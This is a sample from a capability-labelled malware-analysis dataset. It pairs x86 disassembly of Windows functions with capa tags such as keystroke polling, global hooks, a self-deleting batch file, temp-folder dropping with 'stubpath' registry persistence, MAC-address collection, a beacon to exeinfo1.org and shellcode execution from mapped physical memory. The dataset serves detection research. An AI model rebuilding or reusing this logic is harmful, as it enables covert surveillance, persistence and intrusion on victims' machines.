joyce8/EMBER2024-capa huggingface dataset:
Function at 0x446e78
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x446eb0]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x446e91
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x446ea0
or bl, 4
test esi, 0x20000000
je 0x446eab
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44d558
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44d56a
add esp, 0xfffffff0
call fcn.00403540
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004192c0
mov eax, dword [0x4575fc]
mov dword [eax + 4], ebx
mov dword [eax], 0x44d8fc
mov eax, dword [0x457608]
mov dword [eax + 4], ebx
mov dword [eax], 0x44d908
mov eax, ebx
call fcn.0044d914
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x4115b8]
call fcn.00403204
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x4115b8]
call fcn.00403204
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x4115b8]
call fcn.00403204
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x4115b8]
call fcn.00403204
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x4115b8]
call fcn.00403204
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x449d30
push eax
push 0
push 0
mov eax, dword [0x4577bc]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41acec]
call fcn.0041c130
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41acec]
call fcn.0041c130
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41acec]
call fcn.0041c130
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0044dd34
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44dc10
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44dc10
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44dc10
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44d6a7
call fcn.00403598
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x44d9f4
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44db9f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44db80
mov dl, 1
mov eax, dword [0x4119d4]
call fcn.00403204
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403f88
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44db6f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0043ba00
test al, al
je 0x44db62
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44dbb0
lea eax, [ebp - 0x254]
call fcn.00408aa4
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44db62
xor eax, eax
push ebp
push 0x44db5b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44dbe8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44db44
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041f8
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44db44
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041f8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44db62
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44da65
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004154b0
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44dba6
lea eax, [ebp - 0x260]
call fcn.00403f88
ret

Function at 0x44e4d4
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x458bb0]
cmp byte [eax + 0xa5], 0
jne 0x44e545
cmp dword [0x458bc8], 0
jne 0x44e506
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44e490
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x458bc8], eax
cmp dword [0x458bc4], 0
jne 0x44e521
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x458bc4], eax
cmp dword [0x458bcc], 0
jne 0x44e545
push esp
push 0
push 0
push 0x44e434
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x458bcc], eax
pop edx
ret
Function at 0x44e63c
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44e653
add esp, 0xfffffff0
call fcn.00403540
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004192c0
mov eax, dword [0x4577a0]
cmp word [eax + 2], 0
jne 0x44e67b
mov eax, dword [0x4577a0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044fd14
mov eax, dword [0x457888]
cmp word [eax + 2], 0
jne 0x44e695
mov eax, dword [0x457888]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044ff0c
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4115b8]
call fcn.00403204
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4115b8]
call fcn.00403204
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b49c]
call fcn.004210e4
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x44e81c
mov eax, dword [0x457688]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004214b4
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4504bc
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x457688]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c154
test eax, eax
je 0x44e78a
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408498
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c17c
test eax, eax
je 0x44e79e
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004041f8
mov eax, dword [0x457518]
cmp byte [eax], 0
jne 0x44e7d2
mov eax, ebx
call fcn.0044e944
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00450698
mov eax, ebx
call fcn.0045105c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44e812
call fcn.00403598
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44ebc4
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x458bb0]
cmp dword [eax + 0x30], 0
je 0x44ec6e
cmp dword [ebx + 0x94], 0
jne 0x44ec68
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44eb54
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44ec68
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44ec2e
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44ec68
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413920
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44ec3d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44f7d0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44f805
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404078
jmp 0x44f812
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403fdc
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x450874
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4508b5
mov eax, esi
call fcn.0043702c
test al, al
je 0x4508b5
mov eax, dword [ebx + 0x84]
call fcn.00436d28
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4508b5
push 0
mov eax, dword [ebx + 0x84]
call fcn.00436d28
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x40202e
Capabilities:
Create process on windows
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x310]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x310]
push str._s1.bat
push eax
call fcn.00404118
add esp, 0xc
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
push eax
push ebx
call dword [0x40d934]
test eax, eax
je 0x402159
lea eax, [ebp - 0x108]
push esi
push eax
lea eax, [ebp - 0x108]
push eax
call dword [0x40d8e8]
test eax, eax
je 0x402159
lea eax, [ebp - 0x108]
push 0x40a9ac
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str.:1_r_ndel___s__r_nif_exist___s__goto_1_r_ndel__a__s
push eax
call fcn.00404118
add esp, 0x14
lea eax, [ebp - 0x310]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402160
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00404590
pop ecx
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402160
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x310]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4021f6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402260
push 2
push edi
push 0xffffffffffffffda
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
push edi
push eax
push 0x26
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402260
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call fcn.00404590
cmp eax, 0x26
pop ecx
je 0x402260
push 0x26
push edi
push dword [ebp + 0xc]
call fcn.004040c0
add esp, 0xc
pop edi
pop esi
pop ebp
ret
Function at 0x402264
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push esi
push 0x10000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4022b7
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4022b7
lea eax, [ebp + 8]
push esi
push eax
push dword [ebp + 0xc]
call fcn.00404590
pop ecx
push eax
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4022bb
xor eax, eax
jmp 0x4022c5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebp
ret

Function at 0x4022c9
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
and byte [ebp - 0x108], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108]
push str.apple.exe
push eax
call fcn.00404960
and byte [ebp - 0x508], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x507]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 9
push 2
stosb byte es:[edi], al
call fcn.0040101d
push eax
lea eax, [ebp - 0x508]
push eax
push dword [0x40a1b0]
call fcn.00401074
add esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x20006
lea eax, [ebp - 0x508]
push 0
push eax
push connect
call dword [0x40d938]
test eax, eax
pop edi
jne 0x402393
lea eax, [ebp - 0x108]
push eax
call fcn.00404590
pop ecx
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.stubpath
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x402397
xor eax, eax
leave
ret
push dword [ebp - 4]
call dword [0x40d93c]
push 1
pop eax
leave
ret

Function at 0x40269d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
and byte [ebp - 0x104], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x104]
push str._apple.exe
push eax
call fcn.00404960
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.004021f6
add esp, 0x10
lea eax, [ebp - 0x104]
push 0
push eax
push 0x40d95c
call dword [0x40d948]
test eax, eax
pop edi
je 0x402734
lea eax, [ebp - 0x208]
push eax
call fcn.004022c9
pop ecx
leave
ret
Function at 0x403346
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Print debug messages
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a0
lea eax, [ebp - 0x1a0]
push esi
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0x400
lea eax, [ebp - 0x5a0]
push 0
push eax
call fcn.004040c0
add esp, 0xc
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x403420
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
movzx ecx, byte [eax + 3]
push ecx
movzx ecx, byte [eax + 2]
push ecx
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
lea eax, [ebp - 0x5a0]
push str._d._d._d._d
push eax
call fcn.00404118
add esp, 0x18
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x4033cc
push str.socket_Error
jmp 0x403413
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.004040c0
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x5a0]
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x40341e
push str.connect_Error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
jmp 0x403420
mov eax, esi
pop esi
leave
ret

Function at 0x403423
Capabilities:
Print debug messages
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push 0x400
lea eax, [ebp - 0x400]
push 0
push eax
call fcn.004040c0
add esp, 0xc
push 0
push dword [ebp + 0xc]
call fcn.00404590
pop ecx
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x40346e
push str.send_is_error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
leave
ret
push 0
lea eax, [ebp - 0x400]
push 0x3ff
push eax
push dword [ebp + 8]
call sub.WS2_32.dll_recv
xor eax, eax
leave
ret
Function at 0x403488
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x760
call fcn.0040120b
call fcn.0040329f
call fcn.004032d7
test eax, eax
mov dword [0x40d914], 0x40a030
jne 0x4034b8
mov dword [0x40d914], 0x40a0b0
lea eax, [ebp - 0x360]
push ebx
push eax
push 0x104
call dword [0x40d958]
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x25c]
push str._s_ver.exe
push eax
call fcn.00404118
add esp, 0xc
xor ebx, ebx
lea eax, [ebp - 0x25c]
push 4
push ebx
push eax
call dword [0x40d954]
call fcn.004021de
test eax, eax
jne 0x40354d
push 0x400
lea eax, [ebp - 0x760]
push ebx
push eax
call fcn.004040c0
lea eax, [ebp - 0x760]
push eax
call fcn.00403dd8
push 0x50
push str.exeinfo1.org
call fcn.00403346
lea ecx, [ebp - 0x760]
push ebx
push ecx
push eax
call fcn.00403423
add esp, 0x24
call fcn.0040320c
call fcn.0040202e
xor eax, eax
jmp 0x40360c
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x4035c6
push str.start
push dword [ebp + 0x10]
call fcn.004044d0
pop ecx
test eax, eax
pop ecx
je 0x4035c6
push edi
call fcn.00403277
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x157]
mov byte [ebp - 0x158], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x158]
push eax
push 0x40d95c
call fcn.004021f6
lea eax, [ebp - 0x158]
push eax
call fcn.00404590
add esp, 0xc
cmp eax, 0x26
pop edi
jne 0x4035bc
lea eax, [ebp - 0x158]
push eax
call fcn.0040247d
pop ecx
call fcn.0040320c
push 1
pop eax
jmp 0x40360c
push esi
push 0x44
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.004040c0
mov esi, 0x40d95c
push str.__start
push esi
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], 5
call fcn.00404960
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x403611
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x284
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x284]
push eax
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x4036aa
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4036b3
lea eax, [ebp - 4]
push eax
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x4036a3
mov eax, dword [0x40ea60]
mov ecx, dword [esi + 0x190]
lea edx, [ecx + eax]
cmp edx, 0x1000
jae 0x40369d
push ecx
lea ecx, [esi + 0x194]
lea eax, [eax + 0x40da60]
push ecx
push eax
call fcn.00404610
mov eax, dword [0x40ea60]
add esp, 0xc
add eax, dword [esi + 0x190]
mov dword [0x40ea60], eax
mov esi, dword [esi]
test esi, esi
jne 0x40365f
push 1
pop eax
pop esi
leave
ret
add eax, 0xf0000000
jmp 0x4036af
add eax, 0xe0000000
test eax, eax
je 0x40369d
xor eax, eax
jmp 0x4036a0
Function at 0x40390f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, str.devicephysicalmemory
lea edi, [ebp - 0x78]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x4a]
xor ebx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x78]
push str.ntdll.dll
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 0xf0000
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0xc], 0xffff
mov dword [ebp - 8], ebx
mov word [ebp - 0x1c], 0x2c
mov word [ebp - 0x1a], 0x2e
mov dword [ebp - 0x30], 0x40
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.ZwOpenSection
push edi
call esi
push str.ZwMapViewOfSection
push edi
mov dword [ebp - 4], eax
call esi
push str.ZwUnmapViewOfSection
push edi
mov dword [ebp - 0x14], eax
call esi
mov edi, eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x10]
push 4
push eax
call dword [ebp - 4]
test eax, eax
jne 0x403a38
push 2
push ebx
lea eax, [ebp - 0xc]
push 1
push eax
lea eax, [ebp - 0x24]
push eax
push 0xffff
lea eax, [ebp - 8]
push ebx
push eax
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [ebp - 0x14]
test eax, eax
jne 0x403a38
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040377e
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403a13
lea eax, [ebp - 4]
push eax
call fcn.004037f1
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403a13
lea eax, [ebp - 4]
push eax
call fcn.00403864
mov esi, eax
pop ecx
cmp esi, ebx
je 0x403a31
mov eax, dword [0x40ea60]
push esi
push dword [ebp - 4]
lea eax, [eax + 0x40da60]
push eax
call fcn.00404610
add esp, 0xc
add dword [0x40ea60], esi
push dword [ebp - 8]
push 0xffffffffffffffff
call edi
pop edi
pop esi
pop ebx
leave
ret